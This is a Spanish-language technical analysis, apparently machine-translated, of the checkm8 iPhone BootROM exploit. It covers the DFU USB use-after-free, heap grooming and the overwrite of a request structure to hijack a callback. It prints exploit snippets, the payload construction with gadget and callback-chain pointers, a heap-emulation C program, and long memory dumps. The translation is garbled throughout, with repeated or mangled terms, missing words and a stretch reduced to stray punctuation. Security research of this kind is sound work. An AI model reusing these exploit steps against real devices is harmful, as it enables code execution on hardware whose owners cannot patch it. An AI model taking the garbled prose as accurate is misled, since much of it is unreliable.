Con una alta probabilidad de que ya haya escuchado sobre el sensacional exploit checkm8 , que utiliza una vulnerabilidad irrecuperable en el BootROM
mayoría de los iPhone X
, incluido el iPhone X
En este artículo, proporcionaremos un análisis técnico del exploit y veremos las causas de la vulnerabilidad. Cualquier persona interesada: ¡bienvenido bajo el corte!
Puedes leer la versión en inglés del artículo aquí .
Introduccion
Primero, describiremos brevemente el proceso de arranque de iDevice y descubriremos qué lugar ocupa BootROM
en él (también se puede llamar SecureROM
) y por qué es necesario. Toda la información detallada sobre esto está aquí . El proceso de arranque simplificado se puede representar de la siguiente manera:

BootROM
es lo primero que ejecuta el procesador cuando se enciende el dispositivo. Las principales tareas de BootROM
:
- Inicialización de la plataforma (configuración de los registros de plataforma necesarios, inicialización de la
CPU
, etc.) - Verificación y transferencia de control a la siguiente etapa de carga
BootROM
admite el análisis de imágenes IMG3/IMG4
BootROM
tiene acceso a la clave GID
para descifrar imágenes- Para verificar imágenes, la clave pública de
Apple
está integrada en BootROM
, y existe la funcionalidad necesaria para trabajar con criptografía
- Recuperar un dispositivo si no es posible descargar más (
Device Firmware Update
, DFU
)
BootROM
tamaño muy pequeño y puede llamarse una versión iBoot
de iBoot
, ya que comparten la mayor parte del código del sistema y de la biblioteca. Sin embargo, a diferencia de iBoot
, BootROM
no se puede actualizar. Se coloca en la memoria interna de solo lectura cuando se fabrica el dispositivo. BootROM
es la raíz del hardware de la cadena de confianza. Las vulnerabilidades pueden permitir el control sobre el proceso de descarga adicional y la ejecución de código sin firmar en el dispositivo.

La aparición de checkm8
El exploit checkm8
fue agregado a la utilidad ipwndfu por su autor axi0mX el 27 de septiembre de 2019. Luego anunció una actualización en su cuenta de Twitter, acompañada de una descripción del exploit e información adicional. Puede descubrir en el hilo que el autor descubrió la vulnerabilidad de use-after-free
en el código USB
durante el iBoot
para iOS 12 beta
en el verano de 2018. Como se señaló anteriormente, BootROM
e iBoot
tienen mucho código común, incluido el código para USB
, por lo que esta vulnerabilidad también es relevante para BootROM
.
También se desprende del código de explotación que la vulnerabilidad se explota en DFU
. Este es un modo en el que una imagen firmada se puede transferir al dispositivo a través de USB
, que posteriormente se descargará. Esto puede ser necesario, por ejemplo, para restaurar el dispositivo si la actualización no tiene éxito.
El mismo día, littlelailo informó que había encontrado esta vulnerabilidad en marzo y publicó su descripción en el archivo apollo.txt . La descripción corresponde a lo que sucede en el código checkm8
, pero no aclara completamente los detalles del exploit. Por lo tanto, decidimos escribir este artículo y describir todos los detalles de la operación hasta la ejecución de la carga útil en BootROM
inclusive.
Realizamos un análisis de exploits basado en los materiales mencionados anteriormente, así como en el código fuente de iBoot/SecureROM
filtró en febrero de 2018. También utilizamos datos obtenidos experimentalmente en nuestro dispositivo de prueba: iPhone 7
( CPID:8010
). Usando checkm8
eliminamos los SecureROM
y SecureRAM
, lo que nos ayudó con el análisis.
Conocimiento esencial de USB
La vulnerabilidad detectada está en el código USB
, por lo que se requiere cierto conocimiento sobre esta interfaz. Puede leer la especificación completa aquí , pero es bastante voluminosa. Un excelente material, que es más que suficiente para una mayor comprensión, es USB en un NutShell . Aquí damos solo lo más necesario.
Existen varios tipos de transferencia de datos USB
. DFU
usa solo el modo Control Transfers
(puede leer sobre esto aquí ). Cada transacción en este modo consta de tres etapas:
Setup Stage
: en esta etapa se envía un paquete de SETUP
, que consta de los siguientes campos:
bmRequestType
: describe la dirección, el tipo y el receptor de la solicitudbRequest
: determina qué solicitud se realizawValue
, wIndex
: dependiendo de la solicitud, se pueden interpretar de manera diferentewLength
: longitud de los datos recibidos / transmitidos en la Data Stage
Data Stage
: una etapa opcional en la que tiene lugar la transferencia de datos. Dependiendo del paquete de SETUP
de la etapa anterior, esto puede estar enviando datos desde el host al dispositivo ( OUT
) o viceversa ( IN
). Los datos se envían en pequeñas porciones (en el caso de Apple DFU
, son 0x40 bytes).
- Cuando el host quiere transferir el siguiente lote de datos, envía un token
OUT
, después del cual se envían los datos. - Cuando el host está listo para recibir datos del dispositivo, envía un token
IN
, en respuesta al cual el dispositivo envía datos.
Status Stage
: la etapa final en la que se informa el estado de toda la transacción.
- Para las solicitudes
OUT
, el host envía un token IN
, en respuesta al cual el dispositivo debe enviar un paquete de datos de longitud cero. - Para solicitudes
IN
, el host envía un token OUT
y un paquete de datos de longitud cero.
OUT
consultas OUT
e IN
se muestran en el diagrama a continuación. Quitamos intencionalmente ACK
, NACK
y otros paquetes de protocolo de enlace de la descripción y el esquema de interacción, ya que no juegan un papel especial en el exploit en sí.

Análisis apollo.txt
Comenzamos el análisis analizando la vulnerabilidad del documento apollo.txt . Describe el algoritmo del modo DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Cuando usb se inicia para obtener una imagen sobre dfu, dfu registra una interfaz para manejar todos los comandos y asigna un búfer para entrada y salida
- si envía datos a dfu, el paquete de configuración es manejado por el código principal que luego llama al código de interfaz
- el código de interfaz verifica que wLength es más corto que la longitud del búfer de entrada y salida y, si ese es el caso, actualiza un puntero pasado como argumento con un puntero al búfer de entrada y salida
- luego devuelve wLength, que es la longitud que desea recibir en el búfer
- el código principal usb luego actualiza una var global con la longitud y se prepara para recibir los paquetes de datos
- Si se recibe un paquete de datos, se escribe en el búfer de entrada y salida a través del puntero que se pasó como argumento y se usa otra variable global para realizar un seguimiento de cuántos bytes ya se recibieron.
- si se recibieron todos los datos, se vuelve a llamar al código específico de dfu y luego se copia el contenido del búfer de entrada y salida en la ubicación de memoria desde donde se inicia la imagen más tarde
- después de eso, el código usb restablece todas las variables y pasa a tener nuevos paquetes
- si sale dfu, se libera el búfer de entrada y salida y si falla el análisis de la imagen, bootrom vuelve a entrar dfu
Primero, comparamos los pasos descritos con el código fuente de iBoot
. Como no podemos usar fragmentos de código fuente filtrado en el artículo, mostraremos el pseudocódigo obtenido por la ingeniería inversa SecureROM
de nuestro iPhone 7
en IDA
. Puede encontrar fácilmente el código fuente de iBoot
y navegarlo.
Cuando se inicializa el modo DFU
, se asigna un búfer de IO
y se registra una interfaz USB
para procesar solicitudes a la DFU
:

Cuando un paquete de solicitud SETUP
llega a la DFU
, se llama al controlador de interfaz correspondiente. En caso de ejecución exitosa de la solicitud OUT
(por ejemplo, durante la transferencia de imágenes), el controlador debe devolver la dirección del buffer IO
para la transacción y el tamaño de los datos que espera recibir por puntero. En este caso, la dirección del búfer y el tamaño de los datos esperados se almacenan en variables globales.

El controlador de interfaz para DFU
se muestra en la captura de pantalla a continuación. Si la solicitud es correcta, el puntero devuelve la dirección del búfer de IO
asignado en la etapa de inicialización de DFU
y la longitud de los datos esperados, que se toman del paquete de SETUP
.

Durante la Data Stage
cada pieza de datos se escribe en el búfer de IO
, después de lo cual se cambia la dirección del búfer de IO
y se actualiza el contador de datos recibidos. Después de recibir todos los datos esperados, se llama al controlador de datos de la interfaz y se borra el estado de transmisión global.

En el controlador de datos DFU
, los datos recibidos se mueven al área de memoria desde donde continuará la descarga. A juzgar por el código fuente de iBoot
, esta área de memoria en Apple
se llama INSECURE_MEMORY
.

Al salir del modo DFU
, se liberará el búfer de IO
asignado previamente. Si la imagen se recibió con éxito en el modo DFU
, se comprobará y cargará. Si, durante el funcionamiento del modo DFU
, se produjo algún error o es imposible cargar la imagen resultante, la DFU
se reiniciará y todo comenzará de nuevo.
En el algoritmo descrito se encuentra la vulnerabilidad de use-after-free
. Si en el arranque, envía un paquete de SETUP
y completa la transacción omitiendo la Data Stage
, el estado global permanecerá inicializado al volver a ingresar al ciclo DFU
, y podremos escribir en la dirección del búfer IO
asignado en la iteración DFU
anterior.
Habiendo lidiado con la vulnerabilidad de use-after-free
, nos preguntamos: ¿cómo puedo sobrescribir algo durante la próxima iteración de DFU
? Después de todo, antes de reiniciar la DFU
se liberan todos los recursos asignados previamente y la ubicación de la memoria en la nueva iteración debe ser exactamente la misma. Resulta que hay otro error de pérdida de memoria interesante y bastante hermoso que permite explotar la vulnerabilidad de use-after-free
, que discutiremos más adelante.
Análisis Checkm8
Procedemos directamente al análisis del exploit checkm8
. Para simplificar, analizaremos una versión modificada del exploit para iPhone 7
, en la que se ha eliminado el código asociado con otras plataformas, se ha cambiado la secuencia y los tipos de solicitudes USB
sin perder el exploit. También en esta versión se elimina el proceso de construcción de la carga útil, se puede encontrar en el archivo checkm8.py
original. Comprender las diferencias entre las versiones para otros dispositivos no debería ser difícil.
checkm8
trabajo de checkm8
se puede dividir en varias etapas:
- Preparación del
heap feng-shui
( heap feng-shui
) - Asignación y liberación del búfer
IO
sin borrar el estado global - Sobrescribir
usb_device_io_request
en el montón con use-after-free
- Colocación de carga útil
- Ejecución de
callback-chain
- Ejecución de
shellcode
Considere cada una de las etapas en detalle.
1. Preparación del montón (montón feng-shui)
Nos parece que esta es la etapa más interesante, y le prestamos especial atención.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Este paso es necesario para lograr un estado de almacenamiento dinámico conveniente para la operación use-after-free
uso. Para comenzar, considere las llamadas de stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
es un contenedor sobre device.ctrlTransfer
ignora las excepciones que ocurrieron al ejecutar la solicitud. libusb1_async_ctrl_transfer
: un contenedor sobre la función libusb_submit_transfer
de libusb
para la ejecución de consultas asíncronas.
Ambas llamadas aceptan los siguientes parámetros:
- Instancia del dispositivo
- Datos para el paquete
SETUP
(su descripción está aquí ):
bmRequestType
bRequest
wValue
wIndex
- Tamaño de datos (
wLength
) o Datos para la Data Stage
- Solicitar tiempo de espera
Los argumentos bmRequestType
, bRequest
, wValue
y wIndex
son comunes a los tres tipos de consultas. Significan:
bmRequestType = 0x80
0b1XXXXXXX
: dirección de la Data Stage
desde el dispositivo al host (Dispositivo a host)0bX00XXXXX
- tipo de solicitud estándar0bXXX00000
- receptor de la solicitud - dispositivo
bRequest = 6
- solicitud de descriptor ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- determina el tipo de descriptor que se recibirá - cadena ( USB_DT_STRING
)wValueLow = 0x4
es el índice del descriptor de cadena, 4 corresponde al número de serie del dispositivo (en este caso, la cadena se ve como CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- identificador del lenguaje de cadena, su valor no es importante para la operación y se puede cambiar.
Para cualquiera de estas tres solicitudes, se asignan 0x30 bytes en el montón para un objeto de la siguiente estructura:

Los campos más interesantes de este objeto son callback
y next
.
callback
: un puntero a una función que se llamará cuando se complete la solicitud.next
: un puntero al siguiente objeto del mismo tipo, necesario para las solicitudes de cola.
Una característica clave de la stall
de llamadas es utilizar la ejecución asincrónica de la solicitud con un tiempo de espera mínimo. Debido a esto, si tiene suerte, la solicitud se cancelará a nivel del sistema operativo y permanecerá en la cola de ejecución, y la transacción no se completará. Al mismo tiempo, el dispositivo continuará aceptando todos los paquetes SETUP
entrantes y, si es necesario, los colocará en la cola de ejecución. Más tarde, utilizando experimentos con un USB
en Arduino
pudimos descubrir que, para una operación exitosa, el host debe enviar un paquete de SETUP
y un token IN
, después de lo cual la transacción debe cancelarse por tiempo de espera. Esquemáticamente, una transacción tan incompleta se puede representar de la siguiente manera:
El resto de las solicitudes difieren solo en longitud y solo en una. El hecho es que para consultas estándar hay una callback
estándar que se ve así:

El valor io_length
es igual al mínimo de wLength
en el paquete SETUP
de la solicitud y la longitud original del descriptor solicitado. Debido al hecho de que el descriptor es lo suficientemente largo, podemos controlar con precisión el valor io_length
dentro de su longitud. El valor de g_setup_request.wLength
es igual al valor de wLength
último paquete SETUP
, en este caso, 0xC1
.
Por lo tanto, al finalizar las consultas generadas utilizando las llamadas de leak
y leak
, se cumple la condición en la función de callback
final y usb_core_send_zlp()
llama a usb_core_send_zlp()
. Esta llamada simplemente crea un zero-length-packet
y lo agrega a la cola de ejecución. Esto es necesario para que la transacción se complete correctamente en la Status Stage
.
La solicitud finaliza con una llamada a la función usb_core_complete_endpoint_io
, que primero llama a la callback
y luego libera la memoria de la solicitud. Al mismo tiempo, la finalización de la solicitud puede ocurrir no solo cuando se completa realmente la transacción, sino también cuando USB
restablece el USB
. Tan pronto como se reciba una señal de restablecimiento de USB
, se omitirá la cola de solicitud y se completará cada una de ellas.
Debido a la llamada selectiva a usb_core_send_zlp()
, omitiendo la cola de solicitudes y luego liberándolas, puede lograr un control de montón suficiente para la operación de use-after-free
. Primero, veamos el ciclo de lanzamiento en sí:

Primero se borra la cola de solicitudes, luego se usb_core_complete_endpoint_io
solicitudes canceladas y se completan llamando a usb_core_complete_endpoint_io
. Al mismo tiempo, las solicitudes seleccionadas con usb_core_send_zlp
se colocan en ep->io_head
. Una vez que se complete el procedimiento de restablecimiento de USB
restablecerá toda la información sobre el punto final, incluidos los io_tail
io_head
y io_tail
, y las solicitudes de longitud cero permanecerán en el montón. Por lo tanto, puede crear un pequeño fragmento en el medio del resto del montón. El siguiente diagrama muestra cómo sucede esto:

El montón en SecureROM
diseñado de tal manera que se asigna una nueva área de memoria desde un fragmento libre adecuado del tamaño más pequeño. Al crear una pequeña porción libre mediante el método descrito anteriormente, puede afectar la asignación de memoria durante la inicialización de USB
y la asignación de io_buffer
y las solicitudes.
Para una mejor comprensión, descubramos qué solicitudes de montón se producen durante la inicialización de DFU
. En el curso del análisis del código fuente de iBoot
y la ingeniería inversa iBoot
SecureROM
logramos obtener la siguiente secuencia:
- Asignación de varios descriptores de cadena
- 1.1.
Nonce
(tamaño 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- Asignación asociada con la creación de la tarea del
USB
- 2.1. Estructura de tareas (
0x3c0
) - 2.2. Tarea de pila (
0x1000
)
io_buffer
( io_buffer
)
- Descriptores de configuración
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
Luego hay una asignación de estructuras de solicitud. Si hay un pequeño fragmento en el medio del espacio de almacenamiento dinámico, algunas asignaciones de la primera categoría irán a este fragmento, y todas las demás asignaciones se moverán, por lo que podemos desbordar usb_device_io_request
, refiriéndonos al antiguo búfer. Esquemáticamente, esto se puede representar de la siguiente manera:

Para calcular el sesgo necesario, decidimos simplemente emular las asignaciones enumeradas anteriormente, adaptando ligeramente el código fuente del montón iBoot
.
Emulación de pila DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Salida del programa con 8 solicitudes en la etapa de heap feng-shui
del heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
El próximo usb_device_io_request
estará en el desplazamiento 0x5c0
desde el comienzo del búfer anterior, que corresponde al código de explotación:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 